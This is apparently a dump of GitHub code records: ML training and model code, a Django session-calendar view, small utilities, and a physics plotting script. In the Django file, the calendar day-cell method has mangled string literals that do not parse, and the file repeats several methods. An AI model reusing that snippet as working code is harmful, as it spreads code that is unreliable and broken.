ckpt_path=cfg['gen_model_path'],\n dataset_type=cfg['dataset_type'],\n batch_size=cfg['batch_size_2'],\n n_epochs=cfg['n_epochs_2'])\n\n # 4. Sample VQVAE\n vqvae.load_state_dict(torch.load(cfg['vqvae_path']))\n gen_model.load_state_dict(torch.load(cfg['gen_model_path']))\n sample_imgs(vqvae,\n gen_model,\n cfg['img_shape'],\n device=device,\n dataset_type=cfg['dataset_type'])\n","repo_name":"SingleZombie/DL-Demos","sub_path":"dldemos/VQVAE/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7466,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"11"} +{"seq_id":"26329093464","text":"import sys\nimport glob\nclass save_object():\n\tdef __init__(self):\n\t\tid=\"\"\n\t\tx=0.0\n\t\ty=0.0\n\t\tz=0.0\n\t\tvec=[]\n\t\t\nsave_list=[]\n\ndef gl_save_clear():\n\tglobal save_list\n\tsave_list=[]\n\ndef gl_save_add(string,x,y,z,vector):\n\ta=save_object()\n\ta.x=x\n\ta.y=y\n\ta.z=z\n\ta.id=string\n\ta.vec=' '.join(map(str, vector))\n\tsave_list.append(a)\n\ndef gl_save_print():\n\tglobal save_list\n\tprint(save_list)\n\ndef gl_save_list():\n\tglobal save_list\n\treturn save_list\n\ndef gl_save_save(file_name):\n\tglobal save_list\n\ttext_file = open(file_name, \"w\")\n\tfor item in save_list:\n\t\ttext_file.write(item.id+\" \"+str(item.x)+\" \"+str(item.y)+\" \"+str(item.z)+\" \"+item.vec+\"\\n\")\n\ttext_file.close()\n\ndef gl_save_load():\n\tglobal save_list\n\tsave_list=[]\n\tmul=4.0\n\tfiles=glob.glob(\"*.3d\")\n\tstart=mul*len(files)\n\tfor i in range(0,len(files)):\n\t\tdx=i*mul-start\n\t\tf = open(files[i], \"r\")\n\t\tlines = f.readlines()\n\t\tf.close()\n\t\tfor line in lines:\n\t\t\tsplit=line.split()\n\t\t\tv=[]\n\t\t\tfor ii in range(4,len(split)):\n\t\t\t\tv.append(float(split[ii]))\n\t\t\tgl_save_add(split[0],float(split[1])+dx,float(split[2]),float(split[3]),v)\n\n\n","repo_name":"xingangahu/gpvdm","sub_path":"gui/gl_save.py","file_name":"gl_save.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"43170128896","text":"class Solution:\n def countPrimes(self, n:int) -> int:\n if n <= 2: \n return 0\n \n primes = [True] * n\n primes[0] = primes[1] = False\n for num in range(2, int(math.sqrt(n)) + 1):\n if primes[num]:\n primes[num**2:n:num] = [False] * len(primes[num**2:n:num])\n \n return sum(primes)","repo_name":"Zeonho/LeetCode_Python","sub_path":"archives/204_Count_Primes.py","file_name":"204_Count_Primes.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34443790504","text":"# Create your views here.\nimport itertools\nfrom django.template import RequestContext\nfrom django.views.generic import CreateView, ListView, UpdateView\nfrom projects.models import Project\nfrom subjects.models import Subject\nfrom utils.mixins import LoginRequiredMixin\nfrom django.template.defaultfilters import register\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render_to_response\n\n\nfrom calendar import HTMLCalendar\nfrom itertools import groupby\nfrom django.utils.safestring import mark_safe\nfrom dateutil.relativedelta import relativedelta\nfrom calendar import monthrange, day_name\nfrom datetime import date as date_local, datetime, timedelta\nimport calendar as calendar_current\n\nclass SessionsCalendar(LoginRequiredMixin, ListView):\n model = Session\n template_name = \"sessions/calendar_weekview.html\"\n\n def get_context_data(self, **kwargs):\n context = super(SessionsCalendar, self).get_context_data(**kwargs)\n current_date = datetime.now()\n month = current_date.strftime(\"%B\")\n context['month'] = str(month)\n context['year'] = datetime.now().year\n context['week'] = datetime.now().day\n context[\"day\"] = 1\n default_calendar_view = 'month'\n context['calendar_view'] = default_calendar_view\n\n year = int(datetime.now().year)\n week = 1\n try:\n month = self.request.session['month'] # 5 # int(datetime.now().month)\n week = self.request.session['week']\n year = self.request.session['year']\n context['year'] = year\n month2 = month\n context['week'] = self.request.session['week']\n context['calendar_view'] = self.request.session['calendar_view']\n\n date_current = str(year) + \"-\" + str(month) + \"-1\"\n current_date = datetime.strptime(date_current, '%Y-%m-%d')\n month2 = current_date.strftime(\"%B\")\n context['month'] = str(month2)\n context['month2'] = str(month)\n\n except Exception as e:\n month = datetime.now().month\n year = datetime.now().year\n\n num_days = monthrange(year, month)[1]\n days = [date_local(year, month, day) for day in range(1, num_days + 1)]\n week1_start = days[0]\n week1_end = days[6]\n week2_start = days[7]\n week2_end = days[13]\n week3_start = days[14]\n week3_end = days[20]\n week4_start = days[21]\n week4_end = days[27]\n week5_start = None\n week5_end = None\n\n try:\n week5_start = days[28]\n week5_end = days[len(days) - 1]\n\n except Exception as e:\n pass\n\n day = str(year) + '-' + str(month) + \"-\" + str(week)\n dt = datetime.strptime(day, '%Y-%m-%d')\n start = dt - timedelta(days=(dt.weekday()))\n start1 = start\n end = start + timedelta(days=6)\n start = start.strftime('%d/%b/%Y')\n end = end.strftime('%d/%b/%Y')\n\n dates = {}\n dates2 = {}\n\n start_date = None\n end_date = None\n\n day_sessions = {}\n sessions_dates = {}\n # start_date\n for day in range(1, 8):\n days = None\n date = datetime.strptime(str(start), \"%d/%b/%Y\")\n start = datetime.strptime(start, '%d/%b/%Y')\n modified_date = datetime.date(start) + timedelta(days=day - 1)\n days = datetime.strftime(modified_date, \"%Y/%m/%d\")\n start = start.date()\n dt = datetime.strptime(str(start), '%Y-%m-%d')\n start = dt - timedelta(days=dt.weekday())\n\n session_date = str(days.replace(\"/\", \"-\"))\n days = datetime.strptime(days, '%Y/%m/%d')\n dates[day] = str(day_name[days.weekday()]) + \", \" + \\\n str(days.strftime(\"%B\")) + \" \" + str(days.day)\n dates2[day] = str(session_date)\n if day == 1:\n start_date = str(days.day)\n if day == 7:\n end_date = str(days.day)\n start = start.strftime('%d/%b/%Y')\n\n # Get sessions\n sessions = Session.objects.filter(session_date=session_date).order_by(\"start_time\")\n day_sessions[str(session_date)] = {}\n sessions_dates[day] = str(session_date)\n todays_sessions = {}\n\n i = 1\n for session in sessions:\n if session in day_sessions:\n continue\n else:\n todays_sessions[str(i)] = session\n i += 1\n day_sessions[str(session_date)] = todays_sessions\n context[\"days\"] = dates\n context[\"days2\"] = dates2\n context[\"total_sessions\"] = i\n\n context[\"sessions_dates\"] = sessions_dates\n context[\"day_sessions\"] = day_sessions\n date_sessions = {}\n date_sessions[1] = day_sessions[sessions_dates[1]]\n date_sessions[2] = day_sessions[sessions_dates[2]]\n total2 = len(date_sessions[2])\n date_sessions[3] = day_sessions[sessions_dates[3]]\n date_sessions[4] = day_sessions[sessions_dates[4]]\n date_sessions[5] = day_sessions[sessions_dates[5]]\n date_sessions[6] = day_sessions[sessions_dates[6]]\n date_sessions[7] = day_sessions[sessions_dates[7]]\n context[\"days_sessions\"] = date_sessions\n total1 = len(date_sessions[1])\n total2 = len(date_sessions[2])\n total3 = len(date_sessions[3])\n total4 = len(date_sessions[4])\n total5 = len(date_sessions[5])\n total6 = len(date_sessions[6])\n total7 = len(date_sessions[7])\n totals = [total1, total2, total3, total4, total5, total6]\n max_total = max(totals)\n context[\"max_total\"] = range(1, (max_total + 1))\n context[\"max_total2\"] = max_total\n\n context[\"total1\"] = range(total1, max_total) # range(1,(total1))\n context[\"total2\"] = range(total2, max_total) # range(1,(total2))\n context[\"total3\"] = range(total3, max_total) # range(1,(total3))\n context[\"total4\"] = range(total4, max_total) # range(1,(total4))\n context[\"total5\"] = range(total5, max_total) # range(1,(total5))\n context[\"total6\"] = range(total6, max_total) # range(1,(total6))\n context[\"total7\"] = range(total7, max_total) # range(1, (total7))\n\n context[\"total1_1\"] = total1\n context[\"total2_1\"] = total2\n context[\"total3_1\"] = total3\n context[\"total4_1\"] = total4\n context[\"total5_1\"] = total5\n context[\"total6_1\"] = total6\n context[\"total7_1\"] = total7\n\n weeks = [\n str(week1_start.day) + \"-\" + str(week1_end.day),\n str(week2_start.day) + \"-\" + str(week2_end.day),\n str(week3_start.day) + \"-\" + str(week3_end.day),\n str(week4_start.day) + \"-\" + str(week4_end.day),\n ]\n try:\n weeks.append(str(week5_start.day) + \"-\" + str(week5_end.day))\n except Exception as e:\n pass\n\n months = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12\n ]\n\n context[\"weeks\"] = weeks\n context[\"months\"] = months\n years = []\n for year_current in range(int(((datetime.now() - relativedelta(years=1))).year),\n int((datetime.now() + relativedelta(years=2)).year)):\n years.append(year_current)\n context[\"years\"] = years\n\n week = context[\"week\"]\n\n month2 = context[\"month2\"]\n\n if int(month2) < 10:\n month2 = \"0\" + str(month2)\n if int(week) < 10:\n week = \"0\" + str(week)\n session_date = str(context[\"year\"]) + \"-\" + str(month2) + \"-\" + str(week)\n\n # sessions = Session.objects.filter(session_date=session_date).order_by(\"start_time\")\n session_date = str(year) + \"-\" + str(month2) + \"-\" + str(week)\n start_date = str(year) + \"-\" + str(month2) + \"-01\"\n start_date = datetime.strptime(start_date, '%Y-%m-%d')\n end_date = start_date + timedelta(days=int(num_days))\n\n sessions = Session.objects.filter(session_date__gte=start_date, session_date__lte=end_date).order_by(\n \"start_time\")\n\n context[\"sessions\"] = sessions\n context[\"session_date\"] = session_date\n\n return context\n\n @register.filter(is_safe=True)\n def increment(value):\n return int(value) + 1\n\n @csrf_exempt\n def get_queryset(self):\n month1 = int(self.request.GET.get(\"month\", datetime.now().month))\n week = int(self.request.GET.get(\"week\", \"1\"))\n year = int(self.request.GET.get(\"year\", datetime.now().year))\n default_calendar_view = self.request.GET.get(\"calendar_view\", 'month')\n self.request.session['month'] = month1\n self.request.session['week'] = week\n self.request.session['year'] = year\n self.request.session['calendar_view'] = default_calendar_view\n\n try:\n month1 = month1.encode(\"utf-8\")\n except Exception as e:\n queryset = Session.objects.all().order_by(\"id\")\n context = {}\n current_date = datetime.now()\n month = current_date.strftime(\"%B\")\n context['month'] = str(month1)\n context['year'] = year\n context[\"day\"] = 1\n\n month = month1\n\n num_days = monthrange(year, month1)[1]\n days = [date_local(year, month, day) for day in range(1, num_days + 1)]\n week1_start = days[0]\n week1_end = days[6]\n week2_start = days[7]\n week2_end = days[13]\n week3_start = days[14]\n week3_end = days[20]\n week4_start = days[21]\n week4_end = days[27]\n week5_start = None\n week5_end = None\n\n try:\n week5_start = days[28]\n week5_end = days[len(days) - 1]\n\n except Exception as e:\n pass\n\n day = str(datetime.now().year) + '-' + str(month1) + \\\n '-1'\n dt = datetime.strptime(day, '%Y-%m-%d')\n start = dt + timedelta(days=dt.weekday())\n start1 = start\n end = start + timedelta(days=6)\n start = start.strftime('%d/%b/%Y')\n end = end.strftime('%d/%b/%Y')\n\n dates = {}\n dates2 = {}\n\n start_date = None\n end_date = None\n\n day_sessions = {}\n sessions_dates = {}\n # start_date\n for day in range(1, 8):\n days = None\n date = datetime.strptime(str(start), \"%d/%b/%Y\")\n start = datetime.strptime(start, '%d/%b/%Y')\n modified_date = datetime.date(start) + timedelta(days=day - 1)\n days = datetime.strftime(modified_date, \"%Y/%m/%d\")\n start = start.date()\n dt = datetime.strptime(str(start), '%Y-%m-%d')\n start = dt - timedelta(days=dt.weekday())\n\n session_date = str(days.replace(\"/\", \"-\"))\n days = datetime.strptime(days, '%Y/%m/%d')\n\n dates[day] = str(calendar_current.day_name[days.weekday()]) + \", \" + \\\n str(days.strftime(\"%B\")) + \" \" + str(days.day)\n dates2[day] = str(session_date)\n if day == 1:\n start_date = str(days.day)\n if day == 7:\n end_date = str(days.day)\n start = start.strftime('%d/%b/%Y')\n\n # Sessions\n sessions = Session.objects.filter(session_date=session_date).order_by(\"start_time\")\n queryset.filter(session_date=session_date).order_by(\"start_time\")\n\n day_sessions[str(session_date)] = {}\n # sessions_dates.append(str(session_date))\n sessions_dates[day] = str(session_date)\n todays_sessions = {}\n\n i = 1\n\n for session in sessions:\n if session in day_sessions:\n continue\n else:\n todays_sessions[str(i)] = session\n i += 1\n day_sessions[str(session_date)] = todays_sessions\n context[\"days\"] = dates\n context[\"days2\"] = dates2\n context[\"total_sessions\"] = i\n\n context[\"sessions_dates\"] = sessions_dates\n context[\"day_sessions\"] = day_sessions\n date_sessions = {}\n date_sessions[1] = day_sessions[sessions_dates[1]]\n date_sessions[2] = day_sessions[sessions_dates[2]]\n total2 = len(date_sessions[2])\n date_sessions[3] = day_sessions[sessions_dates[3]]\n date_sessions[4] = day_sessions[sessions_dates[4]]\n date_sessions[5] = day_sessions[sessions_dates[5]]\n date_sessions[6] = day_sessions[sessions_dates[6]]\n date_sessions[7] = day_sessions[sessions_dates[7]]\n context[\"days_sessions\"] = date_sessions\n total1 = len(date_sessions[1])\n total2 = len(date_sessions[2])\n total3 = len(date_sessions[3])\n total4 = len(date_sessions[4])\n total5 = len(date_sessions[5])\n total6 = len(date_sessions[6])\n total7 = len(date_sessions[7])\n totals = [total1, total2, total3, total4, total5, total6, total7]\n max_total = max(totals)\n context[\"max_total\"] = range(1, (max_total + 1))\n\n context[\"total1\"] = range(1, (total1))\n context[\"total2\"] = range(1, (total2))\n context[\"total3\"] = range(1, (total3))\n context[\"total3_1\"] = total3 + 1\n context[\"total4\"] = range(1, (total4))\n context[\"total5\"] = range(1, (total5))\n context[\"total6\"] = range(1, (total6))\n context[\"total7\"] = range(1, (total7))\n\n weeks = [\n str(week1_start.day) + \"-\" + str(week1_end.day),\n str(week2_start.day) + \"-\" + str(week2_end.day),\n str(week3_start.day) + \"-\" + str(week3_end.day),\n str(week4_start.day) + \"-\" + str(week4_end.day),\n ]\n try:\n weeks.append(str(week5_start.day) + \"-\" + str(week5_end.day))\n except Exception as e:\n pass\n\n months = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12\n ]\n years = []\n for year_current in range(int(((datetime.now() - relativedelta(years=1))).year), int((datetime.now() + relativedelta(years=2)).year)):\n years.append(year_current)\n context[\"years\"] = years\n context[\"weeks\"] = weeks\n context[\"months\"] = months\n context[\"data2\"] = \"TEST\"\n data = context\n\n if int(month1) < 10:\n month1 = \"0\" + str(month1)\n if int(week) < 10:\n week = \"0\" + str(week)\n session_date = str(year) + \"-\" + str(month1) + \"-\" + str(week)\n start_date = str(year) + \"-\" + str(month1) + \"-01\"\n start_date = datetime.strptime(start_date, '%Y-%m-%d')\n end_date = start_date + timedelta(days=int(num_days))\n\n sessions = Session.objects.filter(\n session_date__gte=start_date, session_date__lte=end_date).order_by(\"start_time\")\n context[\"sessions\"] = sessions\n context[\"session_date\"] = session_date\n context[\"default_calendar_view\"] = default_calendar_view\n\n context = RequestContext(self.request)\n\n return render_to_response('sessions/calendar_weekview.html', data, context)\n\n\nclass ScheduleCalendar(HTMLCalendar):\n\n def __init__(self, workouts):\n super(ScheduleCalendar, self).__init__()\n self.workouts = self.group_by_day(workouts)\n\n def formatday(self, day, weekday):\n if day != 0:\n cssclass = self.cssclasses[weekday]\n if date_local.today() == date_local(self.year, self.month, day):\n cssclass += ' today'\n if day in self.workouts:\n cssclass += ' filled'\n body = ['')\n return self.day_cell(cssclass, '%d %s' % (day, ''.join(body)))\n date_current = str(self.year) + \"-\" + str(self.month) + \"-\" + str(day)\n sessions = Session.objects.filter(session_date=date_current).count()\n if sessions == 1:\n label = \"Session\"\n else:\n label = \"Sessions\"\n url = \"/sessions/calendar_weekview/?week=\" + str(day) + \"&month=\" + str(self.month) + \"&year=\" + str(\n self.year)\n return self.day_cell(cssclass, \"

\" + str(\n day) + \"


\" + str(sessions) + \" \" + label + \"
\")\n return self.day_cell('noday', ' ')\n\n def formatmonth(self, year, month):\n self.year, self.month = year, month\n return super(ScheduleCalendar, self).formatmonth(year, month)\n\n def group_by_day(self, workouts):\n field = lambda workout: workout.date_and_time.day\n return dict(\n [(day, list(items)) for day, items in groupby(workouts, field)]\n )\n\n def day_cell(self, cssclass, body):\n return '%s' % (cssclass, body)\n\n def formatmonth(self, year, month):\n self.year, self.month = year, month\n return super(ScheduleCalendar, self).formatmonth(year, month)\n\n def group_by_day(self, workouts):\n field = lambda workout: workout.date_and_time.day\n return dict(\n [(day, list(items)) for day, items in groupby(workouts, field)]\n )\n\n def day_cell(self, cssclass, body):\n return '%s' % (cssclass, body)\n\n\ndef calendar(request, year=None, month=None):\n \"\"\"\n Show calendar of schedule for a given month of a given year.\n\n \"\"\"\n if year == None:\n year = datetime.now().year\n month = datetime.now().month\n else:\n year = int(year)\n month = int(month)\n\n sessions = Schedule.objects.order_by('date_and_time').filter(\n date_and_time__year=year, date_and_time__month=month,\n )\n cal = ScheduleCalendar(sessions).formatmonth(year, month)\n # Calculate values for the calendar controls. 1-indexed (Jan = 1)\n my_previous_year = year - 1\n my_previous_month = month - 1\n my_next_month = month + 1\n my_next_year = year + 1\n\n if my_previous_month == 0:\n my_previous_year = year - 1\n my_previous_month = 12\n my_next_year = year + 1\n my_next_month = month + 1\n\n if my_next_month == 13:\n my_next_year = year + 1\n my_next_month = 1\n my_previous_year = year - 1\n\n return render_to_response('sessions/calender.html', {'calendar': mark_safe(cal),\n 'previous_month': my_previous_month,\n 'previous_month_name': my_previous_month,\n 'previous_year': my_previous_year,\n 'next_month': my_next_month,\n 'next_month_name': my_next_month,\n 'next_year': my_next_year,\n 'year': year,\n 'month': month,\n })\n","repo_name":"PurityMaina/Django_Scheduler","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":19421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18168674316","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('eeg/', views.eeg, name='eeg'),\n path('callee/', views.callee, name='callee'),\n path('call/', views.call, name='call'),\n path('call/', views.do_call, name='doCall'),\n path('call//', views.make_call, name='makeCall')\n]\n","repo_name":"Below0/EEG-Communication","sub_path":"src/server/eeg/eeg_parser/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"4063780454","text":"import datetime\n\nimport floppyforms as forms\n#from django import forms\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Submit\n\n\nclass SearchForm(forms.Form):\n movie = forms.CharField(max_length=100)\n theater = forms.CharField(max_length=100)\n date = forms.DateField(initial=datetime.date.today)\n\n def __init__(self, *args, **kwargs):\n super(SearchForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper(self)\n\n # Change Form layout\n self.helper.form_method = 'get'\n self.helper.html5_required = True\n self.helper.add_input(Submit('submit', 'Search'))\n\n class Meta:\n widgets = {\n 'date': forms.DateInput(attrs={\n 'class': 'datepicker',\n }),\n }\n","repo_name":"dttt/movie_ticket","sub_path":"movieticket/ticket/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1350883265","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef readFile(filename):\n data=[]\n headercount=0\n \n global NX,NY,NZ\n with open(filename) as f:\n for line in f:\n line = line.split() # to deal with blank \n if line: # lines (ie skip them)\n try:\n line = [float(i) for i in line]\n if len(line)==6:\n for i in line:\n data.append(i)\n elif len(line)==4:\n if headercount==0:\n numofatoms=int(line[0])\n elif headercount==1:\n NX=int(line[0])\n elif headercount==2:\n NY=int(line[0])\n elif headercount==3:\n NZ=int(line[0])\n headercount+=1\n \n except ValueError:\n total=0\n return data\n\ndef xplanaraverage(imported_data):\n averagedpotential=np.zeros((NY,NZ))\n total=0\n for y in range(NY):\n for z in range(NZ):\n for i in np.linspace(y*NZ+z,y*NZ+z+NX*NY*NZ,num=NX,endpoint=False):\n total+=imported_data[int(i)]\n avg=total/NX\n averagedpotential[y][z]=avg\n total=0 \n return averagedpotential\ndef makeLineProfile(data,z_index):\n linedata=change_in_potential[0:NY-1][int(NZ/2+.5)]\n plt.plot(linedata)\n plt.xlabel('X-position (Angstroms)')\n plt.ylabel('Electrostatic Potential (eV)')\n tmparrayx=[0, NZ/4,NZ/2,3*NZ/4, NZ]\n labelx=[round(tmparrayx[i]*zstep,1) for i in range(len(tmparrayx))]\n plt.xticks(tmparrayx,labelx)\n plt.show()\n\nxdimension=2.48140559433563\nydimension=35\nzdimension=21.3000040156398\ncount=0\nimported_overall_data=[]\nimported_overall_data=readFile('2Ang3up3down_potpp.cube')\noverallpotential=xplanaraverage(imported_overall_data)\n#subtract HF\nimported_HF_data=readFile('2Ang3up3down_HF.cube')\nHF_potential=xplanaraverage(imported_HF_data)\ngraph_sub_HFpotential=overallpotential-HF_potential\n\n#subtract graphene\nimported_graphene_data=readFile('2Ang3up3down_Cell.cube')\nCell_potential=xplanaraverage(imported_graphene_data)\nvacuumdiff=graph_sub_HFpotential[0][0]-Cell_potential[0][0]\nchange_in_potential=(graph_sub_HFpotential-Cell_potential)*13.6056980659\n\nzstep=zdimension/NZ\nystep=ydimension/NY\nmakeLineProfile(change_in_potential,NZ/2+.5)\n\nlevels=np.linspace(-1,1,num=21)\nCS=plt.contourf(change_in_potential,levels,cmap='bwr',origin='lower',extend='both')\nplt.xlabel('X-position (Angstroms)')\nplt.ylabel('Z-position (Angstroms from the surface)')\ntmparray=[0, NY/4,NY/2.0,3*NY/4,NY]\nlabel=[-1*round(NY/2*ystep,2), -1*round(NY/4*ystep,2), 0,\n round(NY/4*ystep,2), round(NY/2*ystep,2)]\n\nplt.yticks(tmparray, label)\ntmparrayx=[0, NZ/4,NZ/2,3*NZ/4, NZ]\nlabelx=[round(tmparrayx[i]*zstep,1) for i in range(len(tmparrayx))]\nplt.xticks(tmparrayx,labelx)\ncbar=plt.colorbar(CS)\ncbar.set_label('Electrostatic Potential (eV)')\nplt.show()\n\n\n\n","repo_name":"stei1133/graphene_cube_analysis","sub_path":"cube_file_on_z_subtract_graphene.py","file_name":"cube_file_on_z_subtract_graphene.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20447099022","text":"import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\ndevice = torch.device(\"cuda\")\n\n\nclass HighwayNetwork(nn.Module) :\n def __init__(self, size) :\n super().__init__()\n self.W1 = nn.Linear(size, size)\n self.W2 = nn.Linear(size, size)\n self.W1.bias.data.fill_(0.)\n \n def forward(self, x) :\n x1 = self.W1(x)\n x2 = self.W2(x)\n g = torch.sigmoid(x2)\n y = g * F.relu(x1) + (1. - g) * x\n return y\n\nclass Spk_UpsampleNetwork(nn.Module):\n def forward(self, s_e, dim):\n s = s_e.unsqueeze(dim=1).detach().cpu().numpy()\n s = np.tile(s, (dim,1))\n s = torch.from_numpy(s).float().to(device)\n return s\n\nclass Encoder(nn.Module) : \n def __init__(self, embed_dims, num_chars, cbhg_channels, K, num_highways, dropout) :\n super().__init__()\n self.embedding = nn.Embedding(num_chars, embed_dims)\n self.spk_upsample = Spk_UpsampleNetwork()\n self.pre_net = PreNet(embed_dims*2)\n self.cbhg = CBHG(K=K, in_channels=cbhg_channels, channels=cbhg_channels, \n proj_channels=[cbhg_channels, cbhg_channels], \n num_highways=num_highways)\n \n def forward(self, x, s_e) :\n x = self.embedding(x) \n _ , dim , _= x.shape\n s_embd = self.spk_upsample(s_e, dim) \n x = torch.cat([x,s_embd],dim=2)\n x = self.pre_net(x) \n x.transpose_(1, 2) \n x = self.cbhg(x) \n return x\n\n\nclass BatchNormConv(nn.Module) :\n def __init__(self, in_channels, out_channels, kernel, relu=True) :\n super().__init__()\n self.conv = nn.Conv1d(in_channels, out_channels, kernel, stride=1, padding=kernel // 2, bias=False)\n self.bnorm = nn.BatchNorm1d(out_channels)\n self.relu = relu\n \n def forward(self, x) :\n x = self.conv(x)\n x = F.relu(x) if self.relu is True else x\n return self.bnorm(x)\n \n \nclass CBHG(nn.Module) :\n def __init__(self, K, in_channels, channels, proj_channels, num_highways) :\n super().__init__()\n \n self.bank_kernels = [i for i in range(1, K + 1)]\n self.conv1d_bank = nn.ModuleList()\n for k in self.bank_kernels :\n conv = BatchNormConv(in_channels, channels, k)\n self.conv1d_bank.append(conv)\n\n self.maxpool = nn.MaxPool1d(kernel_size=2, stride=1, padding=1)\n \n self.conv_project1 = BatchNormConv(len(self.bank_kernels) * channels, proj_channels[0], 3)\n self.conv_project2 = BatchNormConv(proj_channels[0], proj_channels[1], 3, relu=False)\n \n # Fix the highway input if necessary\n if proj_channels[-1] != channels :\n self.highway_mismatch = True\n self.pre_highway = nn.Linear(proj_channels[-1], channels, bias=False)\n else :\n self.highway_mismatch = False\n \n self.highways = nn.ModuleList()\n for i in range(num_highways) :\n hn = HighwayNetwork(channels)\n self.highways.append(hn)\n \n self.rnn = nn.GRU(channels, channels, batch_first=True, bidirectional=True)\n \n def forward(self, x) :\n\n # Save these for later\n residual = x\n seq_len = x.size(-1)\n conv_bank = []\n \n # Convolution Bank\n for conv in self.conv1d_bank :\n c = conv(x) # Convolution\n conv_bank.append(c[:, :, :seq_len])\n \n # Stack along the channel axis\n conv_bank = torch.cat(conv_bank, dim=1)\n \n # dump the last padding to fit residual\n x = self.maxpool(conv_bank)[:, :, :seq_len] \n \n # Conv1d projections\n x = self.conv_project1(x)\n x = self.conv_project2(x)\n \n # Residual Connect\n x = x + residual\n \n # Through the highways\n x = x.transpose(1, 2)\n if self.highway_mismatch is True :\n x = self.pre_highway(x)\n for h in self.highways : x = h(x)\n\n # And then the RNN\n x, _ = self.rnn(x)\n return x\n\n\nclass PreNet(nn.Module) :\n def __init__(self, in_dims, fc1_dims=256, fc2_dims=128, dropout=0.5) :\n super().__init__()\n self.fc1 = nn.Linear(in_dims, fc1_dims)\n self.fc2 = nn.Linear(fc1_dims, fc2_dims)\n self.p = dropout\n \n def forward(self, x) :\n x = self.fc1(x)\n x = F.relu(x)\n x = F.dropout(x, self.p, training=self.training)\n x = self.fc2(x)\n x = F.relu(x)\n x = F.dropout(x, self.p, training=self.training)\n return x\n \n \nclass Attention(nn.Module) :\n def __init__(self, attn_dims) :\n super().__init__()\n self.W = nn.Linear(attn_dims, attn_dims, bias=False)\n self.v = nn.Linear(attn_dims, 1, bias=False)\n \n def forward(self, encoder_seq_proj, query, t) :\n\n # print(encoder_seq_proj.shape)\n # Transform the query vector\n query_proj = self.W(query).unsqueeze(1)\n \n # Compute the scores \n u = self.v(torch.tanh(encoder_seq_proj + query_proj))\n scores = F.softmax(u, dim=1)\n\n return scores.transpose(1, 2)\n\n\nclass LSA(nn.Module):\n def __init__(self, attn_dim, kernel_size=31, filters=32):\n super().__init__()\n self.conv = nn.Conv1d(2, filters, padding=(kernel_size - 1) // 2, kernel_size=kernel_size, bias=False)\n self.L = nn.Linear(filters, attn_dim, bias=True)\n self.W = nn.Linear(attn_dim, attn_dim, bias=True)\n self.v = nn.Linear(attn_dim, 1, bias=False)\n self.cumulative = None\n self.attention = None\n\n def init_attention(self, encoder_seq_proj) :\n b, t, c = encoder_seq_proj.size()\n self.cumulative = torch.zeros(b, t).cuda()\n self.attention = torch.zeros(b, t).cuda()\n\n def forward(self, encoder_seq_proj, query, t):\n\n if t == 0 : self.init_attention(encoder_seq_proj)\n\n processed_query = self.W(query).unsqueeze(1)\n\n location = torch.cat([self.cumulative.unsqueeze(1), self.attention.unsqueeze(1)], dim=1)\n processed_loc = self.L(self.conv(location).transpose(1, 2))\n\n u = self.v(torch.tanh(processed_query + encoder_seq_proj + processed_loc))\n u = u.squeeze(-1)\n\n # Smooth Attention\n scores = torch.sigmoid(u) / torch.sigmoid(u).sum(dim=1, keepdim=True)\n # scores = F.softmax(u, dim=1)\n self.attention = scores\n self.cumulative += self.attention\n\n return scores.unsqueeze(-1).transpose(1, 2)\n\n\nclass Decoder(nn.Module) :\n def __init__(self, n_mels, decoder_dims, lstm_dims) :\n super().__init__()\n self.max_r = 20\n self.r = None\n self.generating = False\n self.n_mels = n_mels\n self.prenet = PreNet(n_mels)\n self.attn_net = LSA(decoder_dims)\n self.attn_rnn = nn.GRUCell(decoder_dims + decoder_dims // 2, decoder_dims)\n self.rnn_input = nn.Linear(2 * decoder_dims, lstm_dims)\n self.res_rnn1 = nn.LSTMCell(lstm_dims, lstm_dims)\n self.res_rnn2 = nn.LSTMCell(lstm_dims, lstm_dims)\n self.mel_proj = nn.Linear(lstm_dims, n_mels * self.max_r, bias=False)\n \n def zoneout(self, prev, current, p=0.1) :\n mask = torch.zeros(prev.size()).bernoulli_(p).cuda()\n return prev * mask + current * (1 - mask)\n \n def forward(self, encoder_seq, encoder_seq_proj, prenet_in, \n hidden_states, cell_states, context_vec, t) :\n \n # Need this for reshaping mels\n batch_size = encoder_seq.size(0)\n \n # Unpack the hidden and cell states\n attn_hidden, rnn1_hidden, rnn2_hidden = hidden_states\n rnn1_cell, rnn2_cell = cell_states\n \n # PreNet for the Attention RNN\n prenet_out = self.prenet(prenet_in)\n \n # Compute the Attention RNN hidden state\n attn_rnn_in = torch.cat([context_vec, prenet_out], dim=-1) \n attn_hidden = self.attn_rnn(attn_rnn_in.squeeze(1), attn_hidden)\n \n # Compute the attention scores \n scores = self.attn_net(encoder_seq_proj, attn_hidden, t)\n \n # Dot product to create the context vector \n context_vec = scores @ encoder_seq\n context_vec = context_vec.squeeze(1)\n\n # Concat Attention RNN output w. Context Vector & project\n x = torch.cat([context_vec, attn_hidden], dim=1)\n x = self.rnn_input(x)\n \n # Compute first Residual RNN\n rnn1_hidden_next, rnn1_cell = 